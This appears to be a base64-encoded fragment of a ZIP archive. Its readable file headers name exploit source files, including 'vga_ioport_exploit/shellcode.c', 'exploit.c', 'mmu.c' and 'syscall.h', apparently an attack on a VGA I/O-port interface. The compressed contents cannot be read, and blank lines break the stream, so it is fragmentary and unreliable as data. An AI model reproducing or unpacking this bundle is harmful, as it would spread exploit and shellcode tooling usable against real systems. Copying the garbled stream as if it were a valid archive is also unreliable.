0wNWpxoDs6eIyP8UJabxiaCscj6FIUl/WlU+tKuY9DlGGdI70ZnDubdlhCyCRpUvZMukG5SVKuu
DKX+eC7AzAt+LZglEmpoyJLdWlTfb+x2HgidCZvwrndn5LIxc273BUlRlo8s06+qiUffrHc+KN8
s+1LSaHfConCy2pYresCzn9Z7BumXXb88Nv5oaj/exrI7omGoVTZSGInE6xLDmz+s9WatgVjpvK
SxIfG8tgIUB1EFKc92jc2BnekOr2NWMOiF1I530NIUKYPZhfZZRn/Cg0y6oYiVo5Hl96oQ7DXWt
74K/rxlF/HaQIUfButpHkVEiA9TRKugDbCMlHqiONDsAcUUSUy7dPhRsxZTOsZuAyS7+DBBsPAZ
m21NcK+bwwxYPAHccTA6ONQKIB8W4Tx9j0klNFWw0E4fJXt7Z3uhhJZC97jipSiKVjfQAJurtKQ
ccjAyuFRSXk0fA2gTMj9uwAx7BDOww1IXq8Krqr8INRjWP/DCZNeQAYwZ3KOFhFnfXH6NNYVYqD
P6Q5xmXpreDU+YwyvTmRGHMFK+VEdQO1hG/v4qACkbZW2t9dG5zCOJEAYSw5loTomBW6h5dFPe0
MVvpVjm2EI0FINv7+0VZPOpVRT2eGKUKB5R3fcpyEezSUH+gWbkqdNPqRlCPnF5iN0L3LWegDZh
2ts8HdPMB3WJA96KWgf5w/kED6gUihsprh7pQ9eUm6mIWcK35x/nx5x5EIwdsFVZ7U6UNkz2gjO
UYZh7WjE0PKlt/YrHnAfgkZXnm67EHKcudrunShNCjl49BHf9YI5wNzPjChstMBdLNLRLKldti3
VIl6aZPe6d6G4Kqo6HtTRHMH49/akbTbKstDFX+5uPiZRH1fNgA6LqVCPkOFu38WMdlGhK+o3js
sWhZfXhNL1enZ09rkj8vL65XddH1xXp1WRddXZy/O31rb9OzHi3z5sQCDx6wzJlmOjEnJ9ub4uw
Ep6biahPAIWwZE3zx3I4DJbWPoZZYwwnU0tQGjWr4PWk5h75BiWZhp0nntlPcSCG7QRAl3Pbv7c
XVNV29u778a5IRNEVYIJL8NF5cpL5ZZrfT9n30etm6zi5ZulzmVnFY33j5i8+nImxfvr1t01LxV
lz4IeEztYFhck+fVEjIUJQQmL4hpsrs2aMtKXNIsy0ZSZ+pAUu4HsvKFN4CGUmPqU+1KKOBrHC2
eQBLEuouMfrW2NDS1yp869WaZpOvDnq+nzcwZjo2MIumnT+bnT3fv2hgLtbr99eny7crC3NUOF4
dpWFpkBGcgDlJpeI+5ClXUFGsy6EwFBFVm/JmozBXZmQNAOmuqLmotXi6XBKtODcXuOZfKI1oVe
7kD9hoTNLyZqPxALK6/zgANDtdcyX2H1BLAwQUAAAACAAmX0lNNQISnIgCAABcBgAAKgAcAGNvZ
GUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9zaGVsbGNvZGUuY1VUCQADCPq8W6qpvVt1eAsA
AQToAwAABOgDAADFVF1vmzAUfY5/xRWTKshIaKtpD2OtFKWpNjUfXUk3VdNkOcYEVIKpMelY1/+
+C4QkbdOPt72Z6+CKYtnEezBOctjOGUqQlZZJQi1Tj85zu3tbTetiLtSzZ0U+VTmLBSxhg0toNNNnWWYLGXkA6VM
I+Ms14JS05SpjhbRH2EaiUQRqLSTKqkF11IZlmXBmsJEITnXkLIilsyH9upgkTvS4iFT0GZqnv0
8/AVHcNfAOscVgQ3jy+EQ7l1CWlGiIZP8WmiXtFak5TfzfUWjhM4yHzKhluV3SbVfvdrw1YWa3p
VHeSwzYcO+5b4MOHgNcGg9m0OmIrE35Whd2DChFyc/Lv5O6Hj/Sn06v8NDzrsb9uspnc/1fJmx8A
OZOukCqawuOjrCRgMNs1dPB3u9E17c29E7p1/FgaoM36Z9Rb3ox6I1Ws9it2s/TQxua528GHrwV
WA+x1exON8NlCtgiigssZaXWfQxIpXpQKZdJEM3XV0/w9YGUlnPXsy1EpWf33skkQZNtxO81WTC
EfpSB2QSs5+sXvwVfCvuJ2UojblbonpB78L4MhsP+5GRgrh1tEUJKM3IlGP4NXnW6DTnCP36guv
ptVtpK8yOcp4X5WIThzKLEyULDcp9iqpU1HF8sHTwa1eTWEul5r39mrrNuBLsvgOq20CBP+E4z4
7RMXaRVZ7ex0LawvWZTEbwHGQSZ0CXuQR8e5SjFKKFzlcC+S7DH/wBQSwMEFAAAAAgA2KY+TZ4T
w2vABwAAPBUAACQAHABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvdmdhLmhVVAkAA4i
asVuImrFbdXgLAAEE6AMAAAToAwAAtVhbc6NGFn6WfkVXJVWZi9YWsmzLm62tbUFL6houCo182R
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
